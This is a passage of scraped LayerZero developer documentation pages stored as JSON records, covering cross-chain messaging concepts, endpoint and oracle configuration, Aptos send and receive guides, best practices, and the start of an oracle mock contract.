estimating fees and sending messages. Pass it as a parameter instead. Do not hardcode zero bytes ( bytes(0) ) as adapterParamers . Pass them as a parameter instead. Make sure to test the amount of gas required for the execution on the destination. Use custom adapter parameters and specify minimum destination gas for each cross-chain path when the default amount of gas ( 200,000 ) is not enough. This requires whoever calls the send function to provide the adapter params with a destination gas >= amount set in the minDstGasLookup for that chain. So that your users don't run into failed messages on the destination. It makes it a smoother end-to-end experience for all. Do not add requires statements that repeat existing checks in the parent contracts. For example, lzReceive function in LzApp contract checks that the message sender is LayerZero endpoint and the scrAddress is a trusted remote, do not perform the same checks in nonblockingLzReceive . If your contract derives from LzApp , do not call lzEndpoint.send directly, use _lzSend . For ONFTs that allow minting a range of tokens on each chain, make the variables that specify the range (e.g. startMintId and endMintId) immutable. Previous 1155 Next - EVM Guides LayerZero Tooling Last modified 7mo ago", "labels": ["Documentation"]}, {"title": "LayerZero Omnichain Contracts", "html_url": "https://layerzero.gitbook.io/docs/evm-guides/layerzero-omnichain-contracts", "body": "LayerZero Omnichain Contracts Want to send your tokens cross chain? OFT Omnichain Fungible Tokens enable a token to be sent across current (and even future) chains! There is no requirement for liquidity, and there are no fees! ONFT Omnichain Non Fungible Tokens allow your NFT project to send tokens across chains. See the Lil Pudgies bridge in action! EVM Guides - Previous Best Practice Next OFT Last modified 7mo ago", "labels": ["Documentation"]}, {"title": "LayerZero Tooling", "html_url": "https://layerzero.gitbook.io/docs/evm-guides/layerzero-tooling", "body": "LayerZero Tooling Configuration tools around setting up your UA Config and Wire Up Config A set of common tasks for contracts integrating LayerZero Installation $ npm install @layerzerolabs/ua-utils The plugin depends on @nomiclabs/hardhat-ethers , so you need to import both plugins in your hardhat.config.js : require ( \"@nomiclabs/hardhat-ethers\" ); require ( \"@layerzerolabs/ua-utils\" ); Or if you are using TypeScript, in your hardhat.config.ts : import \"@nomiclabs/hardhat-ethers\" ; import \"@layerzerolabs/ua-utils\" ; UA Config This config is used to Lock in UA Configuration . To use this script please fill in your Application Configuration according to your applications needs. Wire Up Configuration This config can be used to set the following on your UA contract: function setFeeBp(uint16, bool, uint16) function setDefaultFeeBp(uint16) function setMinDstGas(uint16, uint16, uint) function setUseCustomAdapterParams(bool) function setTrustedRemote(uint16, bytes) To use this script please fill in your Wire Up Configuration according to your applications needs. EVM Guides - Previous LayerZero Integration Checklist Next UA Configuration Last modified 3mo ago", "labels": ["Documentation"]}, {"title": "Getting Started", "html_url": "https://layerzero.gitbook.io/docs/evm-guides/master", "body": "Getting Started Developing on LayerZero is as simple as it gets - just implement the send() and lzReceive() interfaces and your app is ready to send messages across connected chains. To get started, check send() and lzReceive() . Or dive right in with a simple code example here . FAQ Learn answers to Frequently Asked Questions . User Applications User Application contracts built on LayerZero send secure messages between different blockchains! Here is an example of a OmnichainFungibleToken (OFT) Talk to the Team Twitter Telegram Discord (join dev-announcements for updates!) Medium Official Website https://layerzero.network/ Concepts - Previous FAQ Next Send Messages Last modified 10mo ago", "labels": ["Documentation"]}, {"title": "Omnichain Governance", "html_url": "https://layerzero.gitbook.io/docs/evm-guides/omnichain-governance", "body": "Omnichain Governance LayerZero enables multichain governance solutions. All votes. All chains. Recently, the team produced contracts for omnichain governance for Uniswap . Take a look! GitHub - LayerZero-Labs/omnichain-governance-executor GitHub Previous Wire Up Configuration Next - Aptos Guide Getting Started Last modified 3mo ago", "labels": ["Documentation"]}, {"title": "UA Custom Configuration", "html_url": "https://layerzero.gitbook.io/docs/evm-guides/ua-custom-configuration", "body": "UA Custom Configuration User Application contracts may set their own configuration for block confirmation, send version, relayer, oracle, etc. When a UA wishes to configure their own block confirmations both the outboundBlockConfirmations of the source and the inboundBlockConfirmations of the destination must be configured and match. How to Configure A User Application (UA) can use non-default protocol settings, and to do so it must implement the interface ILayerZeroUserApplicationConfig . The UA may then manually update its ApplicationConfig . See examples below as well as the CONFIG_TYPES . Set: Inbound Proof Library 1 let config = ethers . utils . defaultAbiCoder . encode ( 2 [ \"uint16\" ], 3 [ inboundProofLibraryVersion ] 4 ) 5 await lzEndpoint . setConfig ( 6 0 , 7 dstChainId , 8 CONFIG_TYPE_INBOUND_PROOF_LIBRARY_VERSION , 9 config 10 ) Set: Inbound Block Confirmations 1 let config = ethers . utils . defaultAbiCoder . encode ( 2 [ \"uint16\" ], 3 [ 42 ] 4 ) 5 await lzEndpoint . setConfig ( 6 0 , 7 dstChainId , 8 CONFIG_TYPE_INBOUND_BLOCK_CONFIRMATIONS , 9 config 10 ) Set: Relayer 1 let config = ethers . utils . solidityPack ( 2 [ \"address\" ], 3 [ relayerAddr ] 4 ) 5 await lzEndpoint . setConfig ( 6 0 , 7 dstChainId , 8 CONFIG_TYPE_RELAYER , 9 config 10 ) Set: Outbound Proof Type/LibraryVersion 1 let config = ethers . utils . defaultAbiCoder . encode ( 2 [ \"uint16\" ], 3 [ outboundProofType ] 4 ) 5 await lzEndpoint . setConfig ( 6 0 , 7 dstChainId , 8 CONFIG_TYPE_OUTBOUND_PROOF_TYPE , 9 config 10 ) Set: Outbound Block Confirmations 1 let config = ethers . utils . defaultAbiCoder . encode ( 2 [ \"uint16\" ], 3 [ 17 ] // outbound block confirmations 4 ) 5 await lzEndpoint . setConfig ( 6 0 , 7 dstChainId , 8 CONFIG_TYPE_OUTBOUND_BLOCK_CONFIRMATIONS , 9 config 10 ) Set: Oracle Oracle settings are configured per channel pathway, meaning UAs who want to lock Oracle configs will need to call setConfig per chain pairing. 1 let config = ethers . utils . defaultAbiCoder . encode ( 2 [ \"address\" ], 3 [ oracleAddr ] 4 ) 5 await lzEndpoint . setConfig ( 6 0 , 7 dstChainId , 8 CONFIG_TYPE_ORACLE , 9 config 10 ) Config Types CONFIG_TYPE_INBOUND_PROOF_LIBRARY_VERSION 1 CONFIG_TYPE_INBOUND_BLOCK_CONFIRMATIONS 2 CONFIG_TYPE_RELAYER 3 CONFIG_TYPE_OUTBOUND_PROOF_TYPE 4 CONFIG_TYPE_OUTBOUND_BLOCK_CONFIRMATIONS 5 CONFIG_TYPE_ORACLE 6 Previous NonblockingLzApp Next UA Configuration Lock Last modified 10d ago", "labels": ["Documentation"]}, {"title": "FAQ", "html_url": "https://layerzero.gitbook.io/docs/faq/faq-1", "body": "FAQ Frequently Asked Questions What is LayerZero? LayerZero enables messages to be sent between blockchains. How do I send a cross-chain message? See example contracts here and details on sending messages here . What blockchains are supported? See a table of supported blockchains . The team is always working to add more chains, so check back frequently! What is a User Application? A User Application (UA) is any contract that uses LayerZero to send & receive messages between blockchains. What is an Endpoint? The deployed contract on which your User Application calls send() to transmit messages and set its own UA configuration. Heres is the list of endpoint addresses with which you may interact with. What is an Ultra Light Node? The UltraLightNode.sol is a smart contract at the heart of the message protocol, sitting behind the Endpoint, it enables all the features of LayerZero. In the future, UAs will benefit from new versions of the Ultra Light Node, the most recent version of the ULN is v2. What is an Oracle? An Oracle is required by each User Application and assists in sending messages. User Applications use the default Oracle automatically so you don't need you configure it, but you can if you want to. What is a Relayer? User Applications use the LayerZero Relayer by default, without additional configuration. However, a Relayer is required by each User Application and plays a crucial role in delivering cross chain messages. If desirable, User Applications may be configured to use a different relayer. Technical Section Two Modes: Blocking and Nonblocking: LayerZero UserApplications can choose to be Blocking or Nonblocking (see the examples ). All messages are nonce-ordered, which means they will arrive from a source chain & source UA address in the order they are sent. By default, messages will be queued if there is an out-of-gas, or logical error on the destination. If contract developers wish to avoid the default blocking mechanism, instead use NonblockingLzApp which will continue with the flow of messages, a design which stores out-of-gas messages on the destination to be retried (by anyone) at anytime. Can LayerZero users enjoy the benefit of any future optimized proof technology, e.g. ZKP based? Yes, LayerZero has the ability to add new Messaging Libraries. LayerZero Labs will keep bringing the best research into production. Existing users can easily perform a library migration on-chain. Concepts - Previous Glossary Next - EVM Guides Getting Started Last modified 3mo ago", "labels": ["Documentation"]}, {"title": "Future-Proof Architecture", "html_url": "https://layerzero.gitbook.io/docs/faq/future-proof-architecture", "body": "Future-Proof Architecture Immutable Endpoint LayerZero Endpoint is the only interface for a User Application (UA). The Endpoint allows UAs to configure the Messaging Library used for sending and receiving verified messages, and guarantees the message delivering ordering across all messaging libraries. Send() : the message will be sent through the endpoint first and then redirected to the UA-configured Messaging Library Receive() : the message will be verified at the Messaging Library first then forwarded to the endpoint and eventually delivered to the UA. Perpetual Messaging All Messaging Libraries, once deployed, will be in service in perpetuity, which means that no entity, including the LayerZero Labs multi-sig, can de-register any Messaging Library or change the Messaging Library configuration of a UA, i.e. if the UA has specified a Messaging Library to use, no entity can stop the messaging flow. Continuous Improvement LayerZero can deploy new Messaging Libraries for security and performance optimization (e.g. more efficient proof technologies). This allows LayerZero to bring the best research into production and support the system with the best technology. The UA interface won't change and UA can simply migrate to any new version with ease. For each Messaging Library (e.g. Ultra-Light Node), LayerZero can deploy new proof validation libraries for security or performance reasons. Immutable UA Configuration If the UA has specified a validation library to use, no entity can change the configuration. Concepts - Previous LayerZero Endpoint Next - Concepts Glossary Last modified 3mo ago", "labels": ["Documentation"]}, {"title": "Glossary", "html_url": "https://layerzero.gitbook.io/docs/faq/glossary", "body": "Glossary This glossary defines and explains many LayerZero concepts and terminology. User Application (UA) A User Application (UA) is any contract that uses LayerZero to send & receive messages between blockchains. We define UA as a tuple ( chainId , contractAddress ) the UA that send() the message at the source chain as srcUA ( srcChain , srcAddress ) the UA that lzReceive() at the destination chain as dstUA ( dstChain , dstAddress ) In LayerZero's perspective, srcUA and dstUA are different, though they might be the same entity. Ultra-Light Node (ULN) ULN is a messaging protocol, firstly introduced in the LayerZero white paper, that allows lightweight cross-chain messaging with configurable trustlessness on the specification of Oracle and Relayer, the two roles that are relaying block information and transaction proof across chains. Oracle A contract address that can be notified to move a block header. What is a Relayer? Any process that delivers a transaction proof in the LayerZero system. Messaging Library The contract that handles the message payload packing on the source chain and verification on the destination chain. Ultra-Light Node is an implementation of Messaging Library Proof Library The contract that verifies the validity of a proof. Merkle Patricia Tree inclusion proof is an implementation of Proof Library. Concepts - Previous Future-Proof Architecture Next - Concepts FAQ Last modified 2mo ago", "labels": ["Documentation"]}, {"title": "LayerZero Endpoint", "html_url": "https://layerzero.gitbook.io/docs/faq/layerzero-endpoint", "body": "LayerZero Endpoint Messages in LayerZero are sent and received by LayerZero Endpoints , which handle message transmission, verification, and receipt; these endpoints consist of two components: a collection of versioned messaging libraries , and a proxy to route messages to the correct library version. When a message arrives at an endpoint, the endpoint selects the User Application configured library version to handle the message. The endpoint keeps all message states across versions and this allows libraries to be easily upgraded for fixes or optimizations. Messaging Library Versioning UAs can specify a particular messaging library version to tightly control messaging behaviors, or alternatively specify DEFAULT_VERSION to take advantage of library auto-upgrade. Note that the library versions on the send() and lzReceive() sides must be the same for an INFLIGHT message to be delivered. Ultra-Light Node is the V1 of messaging libraries. interface ILayerZeroEndpoint.sol // @notice set the send() LayerZero messaging library version to _version // @param _version - new messaging library version function setSendVersion ( uint16 _version ) external ; // @notice set the lzReceive() LayerZero messaging library version to _version // @param _version - new messaging library version function setReceiveVersion ( uint16 _version ) external ; // @notice get the send() LayerZero messaging library version // @param _userApplication - the contract address of the user application function getSendVersion ( address _userApplication ) external view returns ( uint16 ); // @notice get the lzReceive() LayerZero messaging library version // @param _userApplication - the contract address of the user application function getReceiveVersion ( address _userApplication ) external view returns ( uint16 ) Messaging Library Migration The LayerZero endpoint has only implemented one library version (Ultra-Light Node). We will release guides for migration when we have deployed any new messaging library. Concepts - Previous Messaging Properties Next - Concepts Future-Proof Architecture Last modified 3mo ago", "labels": ["Documentation"]}, {"title": "Messaging Properties", "html_url": "https://layerzero.gitbook.io/docs/faq/messaging-properties", "body": "Messaging Properties Message State Messages are sent from the User Application (UA) at source srcUA to the UA at the destination dstUA . Once the message is received by dstUA , the message is considered delivered (transitioning from INFLIGHT to either SUCCESS or STORED ) Message State Cases INFLIGHT After a message is sent SUCCESS A1: dstUA success OK() A2: dstUA fails with caught error/exception STORED B1: dstUA fails with uncaught error/exception // message handling at destination chain try ILayerZeroReceiver ( _dstAddress ). lzReceive { gas : _gasLimit }( _srcChainId , _srcAddress , _nonce , _payload ) { // message state becomes SUCCESS } catch { // message state becomes STORED emit PayloadStored ( _srcChainId , _srcAddress , _dstAddress , _payload ); } Case A2: dstUA is expected to store the message in their contract to be retried (LayerZero will not store any successfully delivered messages). dstUA is expected to monitor and retry STORED messages on behalf of its users. Case B1: dstUA is expected to gracefully handle all errors/exceptions when receiving a message, and any uncaught errors/exceptions (including out-of-gas) will cause the message to transition into STORED . A STORED message will block the delivery of any future message from srcUA to all dstUA on the same destination chain and can be retried until the message becomes SUCCESS . dstUA should implement a handler to transition the stored message from STORED to SUCCESS . If a bug in dstUA contract results in an unrecoverable error/exception, LayerZero provides a last-resort interface to force resume message delivery, only by the dstUA contract. Message Ordering LayerZero provides ordered delivery of messages from a given sender to a destination chain, i.e. srcUA -> dstChain . In other words, the message order nonce is shared by all dstUA on the same dstChain . That's why a STORED message blocks the message pathway from srcUA to all dstUA on the same destination chain. If it isn't necessary to preserve the sequential nonce property for a particular dstUA the sender must add the nonce into the payload and handle it end-to-end within the UA. UAs can implement a non-blocking pattern in their contract code. Extensibility Message Adapter Parameters LayerZero allows UAs to add arbitrary transaction params in the send() function, providing a high level of flexibility and opening up opportunities for a diverse set of 3rd party plugins This is implemented as an unreserved byte array parameter to the send() function, with UAs allowed to write any additional data necessary into that parameter. We recommend that UAs leave some degree of configurability for the extra parameters to allow for feature extensions. One great feature of _adapterParams is performing an Airdrop . Patterns Non-Reentrancy LayerZero Endpoint has a non-reentrancy guard for both the send() and receive() , respectively. In other words, both send() and receive() can not call themselves on the same chain. UAs should not rely on LayerZero to perform the non-reentrancy check. However, UAs can query the endpoint to see if the endpoint isSendingPayload() or isReceivingPayload() for finer-grained reentrancy control. Message Chaining UAs can call send() in the receive() calls on the same chain. Example applications for calling send() in the receive() include (e.g. Ping Pong ): the UA at the source chain wants a message receipt (Chain A -> Chain B -> Chain A) the UA at the destination reroutes the message (Chain A -> Chain B -> Chain C) function lzReceive ( uint16 _srcChainId , bytes memory _fromAddress , uint64 , /*_nonce*/ bytes memory _payload ) external override { ... // message chaining endpoint . send { value : messageFee }( ... ); } However, the fee for sending messages on another chain is not observable on-chain. UAs would need to create some fee estimate heuristics. Optionally, user apps can store the chained message and then resend them with another transaction. Multi-Send UAs can send multiple messages in one transaction at the source chain. The endpoint non-reentrancy will not block this pattern. function sendFirstMessage ( uint gasAmountForDst , uint16 [] calldata chainIds , bytes [] calldata dstAddresses ) external payable { ... for ( uint i = 0 ; i < chainIds . length ; i ++ ){ endpoint . send { value : fee }( chainIds [ i ], dstAddresses [ i ], messageString , msg . sender , address ( 0x0 ), _relayerParams ); } } Bug Bounty - Previous Bug Bounty Program Next - Concepts LayerZero Endpoint Last modified 3mo ago", "labels": ["Documentation"]}, {"title": "Audits", "html_url": "https://layerzero.gitbook.io/docs/technical-reference/audits", "body": "Audits LayerZero Labs has commissioned 35+ audits with the most recent audits on Github . Nearly all code written by LayerZero Labs since inception have been immutable smart contracts audited externally and rigorously reviewed internally at least 3+ times each. GitHub - LayerZero-Labs/Audits GitHub LayerZero Labs Audit Repository Previous Deprecated Libraries Last modified 7mo ago", "labels": ["Documentation"]}, {"title": "LayerZero Interfaces", "html_url": "https://layerzero.gitbook.io/docs/technical-reference/interfaces", "body": "LayerZero Interfaces Developers may need one or more of these interfaces when working with LayerZero contracts. https://github.com/LayerZero-Labs/LayerZero/tree/main/contracts/interface github.com Ultra-Light Node Interfaces See our contract interfaces here . Previous Multisig Wallets Next - Technical Reference SDK Last modified 3mo ago", "labels": ["Documentation"]}, {"title": "Mainnet", "html_url": "https://layerzero.gitbook.io/docs/technical-reference/mainnet", "body": "Mainnet LayerZero mainnet deployments. The Mainnet Contract Addresses are all you need to start sending messages. LayerZero endpoints are deployed onto a variety of chains, including the primary L1s and possibly even some experimental chains! To start sending messages here is an outline what you'll need: Access to JSON-RPC provider data, for the chains you want to use (or your own nodes) ETH, BNB, AVAX, etc.. for the chains you need Hardhat project (perhaps check out our solidity-examples repo) Good vibes Previous Default Config Next Mainnet Addresses Last modified 1mo ago", "labels": ["Documentation"]}, {"title": "Proof Types", "html_url": "https://layerzero.gitbook.io/docs/technical-reference/proof-types", "body": "Proof Types Proof Type 1 - Merkle Patricia Tree (MPT) inclusion proof. Technical Reference - Previous SDK Next Deprecated Libraries Last modified 1yr ago", "labels": ["Documentation"]}, {"title": "SDK", "html_url": "https://layerzero.gitbook.io/docs/technical-reference/sdk", "body": "SDK Coming Soon SDK for Testnet / Mainnet Deployment Addresses. Technical Reference - Previous LayerZero Interfaces Next - Technical Reference Proof Types Last modified 3mo ago", "labels": ["Documentation"]}, {"title": "Testnet", "html_url": "https://layerzero.gitbook.io/docs/technical-reference/testnet", "body": "Testnet LayerZero testnet is a deployed set of Endpoints on the chains we operate on. The Testnet Contract Addresses are all you need to start sending messages. LayerZero endpoints are deployed onto a variety of chains, including the primary L1s and possibly even some experimental chains! To start sending messages here is an outline what you'll need: Access to JSON-RPC provider data, for the chains you want to use (or your own nodes) Test ether Hardhat project (perhaps check out our solidity-examples repo) Good vibes Previous zkLightClient Addresses Next Testnet Addresses Last modified 13d ago", "labels": ["Documentation"]}, {"title": "Estimating Message Fees", "html_url": "https://layerzero.gitbook.io/docs/aptos-guide/code-examples/estimating-message-fees", "body": "Estimating Message Fees Get the quantity of native gas token to pay to send a message If you want to know how much AptosCoin to pay for the message, you can call the Endpoint's quote_fee() to get the fee tuple (native_fee (in coin), layerzero_fee (in coin)). public fun quote_fee ( ua_address : address , dst_chain_id : u64 , payload_size : u64 , pay_in_zro : bool , adapter_params : vector < u8 > , msglib_params : vector < u8 > ): ( u64 , u64 ) Previous OmniCounter.move Next - Aptos Guide UA Custom Configuration Last modified 3mo ago", "labels": ["Documentation"]}, {"title": "OmniCounter.move", "html_url": "https://layerzero.gitbook.io/docs/aptos-guide/code-examples/messagecounter.move", "body": "OmniCounter.move A LayerZero User Application example to demonstrate message sending. The OmniCounter OmniCounter is a contract that increments a counter -- but there's a twist. This OmniCounter increments the counter on another chain. The Details To send cross chain messages, contracts will use an endpoint to send() from the source chain and lz_receive() to receive the message on the destination chain. LayerZero-Aptos-Contract/counter.move at main LayerZero-Labs/LayerZero-Aptos-Contract GitHub Aptos Guide - Previous Code Examples Next Estimating Message Fees Last modified 10mo ago", "labels": ["Documentation"]}, {"title": "Register UA", "html_url": "https://layerzero.gitbook.io/docs/aptos-guide/master/how-to-send-a-message", "body": "Register UA Before sending messages on LayerZero you need to register your UA. public fun register_ua < UA > ( account : & signer ): UaCapability < UA > The UA type is an identifier of your application. You can use any type as UA , e.g. 0x1::MyApp::MyApp as a UA . Only one UA is allowed per address. That means there won't be a case where two UA types share the same address. When calling register_ua() , you will get a UaCapability returned. It is the resource for authenticating any LayerZero functions, such as sending messages and setting configurations. Aptos Guide - Previous Getting Started Next Send Messages Last modified 3mo ago", "labels": ["Documentation"]}, {"title": "Send Messages", "html_url": "https://layerzero.gitbook.io/docs/aptos-guide/master/how-to-send-a-message-1", "body": "Send Messages Use LayerZero to send a bytes payload from one chain to another. To send a message, call the Endpoint's send() function. Initiate the send() function in your contracts to send a cross chain message. public fun send < UA > ( dst_chain_id : u64 , dst_address : vector < u8 > , payload : vector < u8 > , native_fee : Coin < AptosCoin > , zro_fee : Coin < ZRO > , adapter_params : vector < u8 > , msglib_params : vector < u8 > , _cap : & UaCapability < UA > ): ( u64 , Coin < AptosCoin > , Coin < ZRO > ) You can send any message ( payload ) to any address on any chain and pay fee with AptosCoin . So far we only support AptosCoin as fee. ZRO coin will be supported to pay the protocol fee in the future. The msglib_params is for passing parameters to the message libraries. So far, it is not used and can be empty. Estimating Message Fees If you want to know how much to give to the send() function to pay for you message please refer to this section on estimating fees . Previous Register UA Next Receive Messages Last modified 3mo ago", "labels": ["Documentation"]}, {"title": "Receive Messages", "html_url": "https://layerzero.gitbook.io/docs/aptos-guide/master/receive-messages", "body": "Receive Messages Destination contracts must implement lzReceive() to handle incoming messages The UA has to provide a public entry function lz_receive() for executors to receive messages from other chains and execute your business logic. public entry fun lz_receive < Type1 , Type2 , ... > ( src_chain_id : u64 , src_address : vector < u8 > , payload : vector < u8 > ) The lz_receive() function has to call the Endpoint's lz_receive() function to verify the payload and get the nonce. // endpoint's lz_receive() public fun lz_receive < UA > ( src_chain_id : u64 , src_address : vector < u8 > , payload : vector < u8 > , _cap : & UaCapability < UA > ): u64 When an executor calls your UA's lz_receive() , it needs to know what generic types to use for consuming the payload. So if your UA needs those types, you also need to provide a public entry function lz_receive_types() to return the types. Make sure to assert the provided types against the payload. For example, if the payload indicates coinType A, then the provided coinType must be A. public fun lz_receive_types ( src_chain_id : u64 , src_address : vector < u8 > , payload : vector < u8 > ): vector < TypeInfo > Blocking Mode LayerZero is by BLOCKING by default, which means if the message payload fails in the lz_receive() function, your UA will be blocked and cannot receive next messages from that path until the failed message is received successfully. If this happens, you may have to drop the message or store it and retry later. We provide LZApp Modules to help you handle it. Previous Send Messages Next - Aptos Guide LZApp Modules Last modified 3mo ago", "labels": ["Documentation"]}, {"title": "Chainlink Oracle", "html_url": "https://layerzero.gitbook.io/docs/ecosystem/oracle/chainlink-oracle", "body": "Chainlink Oracle Contract Addresses to use Chainlink with LayerZero To use the Chainlink oracle with your LayerZero UserApplication, configure your app with the addresses below. Chainlink Oracle Addresses Ethereum: 0x150A58e9E6BF69ccEb1DBA5ae97C166DC8792539 BNB: 0x150A58e9E6BF69ccEb1DBA5ae97C166DC8792539 Avalanche: 0x150A58e9E6BF69ccEb1DBA5ae97C166DC8792539 Polygon: 0x150A58e9E6BF69ccEb1DBA5ae97C166DC8792539 Arbitrum: 0x150A58e9E6BF69ccEb1DBA5ae97C166DC8792539 Optimism: 0x150A58e9E6BF69ccEb1DBA5ae97C166DC8792539 Fantom: 0x150A58e9E6BF69ccEb1DBA5ae97C166DC8792539 There is some additional information for Chainlink that can be found here . Participating Node Operators Currently these Chainlink nodes provide support and redundancy for the Chainlink Oracle DexTrac Chainlayer LinkForest LinkPool Previous TSS Oracle Next Overview of Polyhedra zkLightClient Last modified 16d ago", "labels": ["Documentation"]}, {"title": "Configuring Custom Oracle", "html_url": "https://layerzero.gitbook.io/docs/ecosystem/oracle/configuring-custom-oracle", "body": "Configuring Custom Oracle Learn how to seamlessly set up and integrate a new Oracle for your User Application (UA). This tutorial provides a step-by-step guide on setting a new Oracle for your User Application (UA). Understanding Oracle Configuration In LayerZero, Oracle configurations help enable smooth messaging across chain pathways. A chain pathway represents a connected route that utilizes both the Oracle and Relayer to facilitate message routing between blockchains. 1. Consistent Oracle Configuration: It's essential to ensure that the same Oracle provider is present on both the source and destination chains. This uniformity guarantees that messages can be reliably sent and received in both directions on the pathway. 2. Payment and Delivery Logic: If you're paying Oracle A on the source chain, you'd expect Oracle A to also handle the delivery on the destination chain. Hence, if Oracle A is available on both chains, it can be used in both directions. On the other hand, if Oracle A is only present on one chain, you'd need to opt for an alternative that's supported on both chain directions. Remember, the objective is to ensure that the Oracle setup supports the chain pathways, as they are the conduits for message routing. This is vital for efficient, error-free cross-chain communication. Prerequisites You should have an LZApp to start with that's already working with default settings. While we use OmniCounter in this tutorial, any app that inherits LZApp.sol (including the OFT and ONFT standards) can be used. In order to set a new Oracle, all a user will need to do is call the setConfig function on Chain A and Chain B. Below is a simple example for how to set your Oracle, using the Ethereum Goerli and Optimism Goerli Testnets. Example: Setting an Oracle using Ethereum Goerli and Optimism Goerli Testnets 1. Deploying OmniCounter After deploying OmniCounter on both Goerli and OP-Goerli, ensure that: You've correctly called setTrustedRemote . The incrementCounter function works by default on both contracts. // SPDX-License-Identifier: MIT pragma solidity ^ 0.8.0 ; pragma abicoder v2 ; import \"https://github.com/LayerZero-Labs/solidity-examples/blob/e43908440cefdcbc93cd8e0ea863326c4bd904eb/contracts/lzApp/NonblockingLzApp.sol\" ; /// @title A LayerZero example sending a cross chain message from a source chain to a destination chain to increment a counter contract OmniCounter is NonblockingLzApp { bytes public constant PAYLOAD = \"\\x01\\x02\\x03\\x04\" ; uint public counter ; constructor ( address _lzEndpoint ) NonblockingLzApp ( _lzEndpoint ) {} function _nonblockingLzReceive ( uint16 , bytes memory , uint64 , bytes memory ) internal override { counter += 1 ; } function estimateFee ( uint16 _dstChainId , bool _useZro , bytes calldata _adapterParams ) public view returns ( uint nativeFee , uint zroFee ) { return lzEndpoint . estimateFees ( _dstChainId , address ( this ), PAYLOAD , _useZro , _adapterParams ); } function incrementCounter ( uint16 _dstChainId ) public payable { _lzSend ( _dstChainId , PAYLOAD , payable ( msg . sender ), address ( 0x0 ), bytes ( \"\" ), msg . value ); } } 2. Setting a New Oracle To modify your UA contracts, you'll need to invoke the setConfig function. This can be done directly from a verified block explorer or using scripting tools. In this tutorial, we'll demonstrate using Remix. Here's how to set the Oracle for the Goerli OmniCounter using the Goerli TSS Oracle address, 0x36ebea3941907c438ca8ca2b1065deef21ccdaed : 1 let config = ethers . utils . defaultAbiCoder . encode ( 2 [ \"address\" ], 3 [ \"0x36ebea3941907c438ca8ca2b1065deef21ccdaed\" ] // oracleAddress 4 ) 5 await lzEndpoint . setConfig ( 6 0 , // default library version 7 10132 , // dstChainId 8 6 , // CONFIG_TYPE_ORACLE 9 0x00000000000000000000000036ebea3941907c438ca8ca2b1065deef21ccdaed // config 10 ) This process should be repeated on both the source and destination contracts. Ensure you adjust the _dstChainId and oracleAddress based on the contract's location. For instance, on OP Goerli, use the OP Goerli TSS Oracle Address and set the destination chain to 10121 for Goerli ETH. In Remix, passing these arguments will show the following: 3. Checking Oracle Configuration To ensure your Oracle setup is correctly configured: Navigate to the Block Explorer : Go to your chain's Endpoint Address on the designated block explorer. Access the Contract Details : Click on \"Read Contract\". Here, you should see an option labeled defaultReceiveLibraryAddress . Select it to navigate to LayerZero's UltraLightNode. Query the UltraLightNode Contract : getConfig : This returns the current configuration of your UA Contract. defaultAppConfig : This gives the default configuration based on the latest library version. To use this, you'll need to provide the _dstChainId parameter. View the Oracle Parameter For the defaultAppConfig , simply pass the _dstChainId and observe the returned oracle parameter. For the getConfig , pass the _dstChainId , your UA Contract Address, and set the constant CONFIG_TYPE_ORACLE to 6 . Compare Oracle Addresses : At the time of writing this tutorial, TSS is the default testnet Oracle. Therefore, if you haven't made any changes, both getConfig and defaultAppConfig should return identical Oracle addresses. However, if you've opted for a different Oracle from the current default, the two queries should return different Oracle addresses. Understanding Query Results: You might notice a difference in how the queries present the Oracle: defaultAppConfig : This query returns the Oracle as an address. getConfig : In contrast, this displays the Oracle as a bytes value. However, don't be alarmed by this variation. If the only discrepancy between the two results is the presence of '0' padding, then both queries are referencing the same Oracle. 4. Testing Message Delivery Validate your Oracle setup by calling incrementCounter . The protocol should now reflect your custom Oracle configuration and be capable to send messages in both directions. Congratulations on your successful configuration! A successful oracle configuration will not impact message delivery. Troubleshooting Encountering a FAILED message status on LayerZero Scan? This likely points to a misconfiguration of the oracle address on either one or both contracts. A failed oracle configuration will impact message delivery. Ensure you're using the local oracle address (i.e., the same chain as your UA) when invoking setConfig . Double-check the dstChainId you're passing. For further customization, refer to the UA Custom Configuration documentation. Previous Default Oracle Updates Next Develop an Oracle Last modified 9d ago", "labels": ["Documentation"]}, {"title": "Default Oracle Updates", "html_url": "https://layerzero.gitbook.io/docs/ecosystem/oracle/default-oracle-updates", "body": "Default Oracle Updates Keep up to the date with the latest Oracle for Default User Applications (UAs). By default, UAs opt into the LayerZero Protocol library updates. These updates generally bring improvements and changes to the reliability of the protocol's generic messaging. These libraries are append-only, meaning that previous versions will always be available for UAs that decide to not use the default config. Opting Out of Defaults For UAs that want to fully control or lock their Oracle properties, see UA Custom Configuration to learn more. Locking UA configuration guarantees that only UA owners can change their LZ app configs; UAs that opt-in to LayerZero defaults accept LayerZero's future changes to default configurations (i.e. best practice changes to block confirmations & proof libraries etc.) Projects with custom configuration will not have any impact on their settings, but are free to reconfigure settings back to Defaults or to any other Oracle at any given time. Google Cloud Oracle (default as of 9/19/23) Google Cloud (GCP) provides a Google Cloud Oracle to secure messaging in the LayerZero Protocol. The Google Cloud Oracle is the default Oracle for all dApps built using the LayerZero protocol. Enterprises and developers of all sizes can now rely on the combination of an established entity (GCP) and a leading Web3 company (LayerZero) to address their interoperability challenges. That said, each Oracle provides unique costs and benefits. UAs are encouraged to select the best Oracle that suits their needs. Ecosystem - Previous Oracle Next Configuring Custom Oracle Last modified 12d ago", "labels": ["Documentation"]}, {"title": "Develop an Oracle", "html_url": "https://layerzero.gitbook.io/docs/ecosystem/oracle/develop-an-oracle", "body": "Develop an Oracle Get paid to perform one of the roles in the LayerZero system. Oracle Specification Performing the job of an Oracle means moving a piece of the message data from one chain and storing it in another. Please refer to our Oracle Specification document to learn more. Two of the primary requirements for operating an Oracle (per-chain): Deploy and maintain balances in your own contract. Implement and operate a system that can submit data from Chain A to Chain B. In this gitbook, we wont get into the details of the implementation of an Oracle because the LayerZero relies on other ecosystem parters. We do however expose some example solidity contracts to demonstrate the contractual portion of a simple Oracle on an EVM: ILayerZeroOracle.sol See the LayerZero Oracle contract interface . LayerZeroOracleMock.sol Heres the Oracle we use for internal testing: // SPDX-License-Identifier: BUSL-1.1 pragma solidity 0.7.6 ; import \"@openzeppelin/contracts/utils/ReentrancyGuard.sol\" ; import \"@openzeppelin/contracts/access/Ownable.sol\" ; import \"../interfaces/ILayerZeroOracle.sol\" ; import \"../interfaces/ILayerZeroUltraLightNodeV1.sol\" ; contract LayerZeroOracleMock is ILayerZeroOracle , Ownable , ReentrancyGuard { mapping ( address => bool ) public approvedAddresses ; mapping ( uint16 => mapping ( uint16 => uint )) public chainPriceLookup ; uint public fee ; 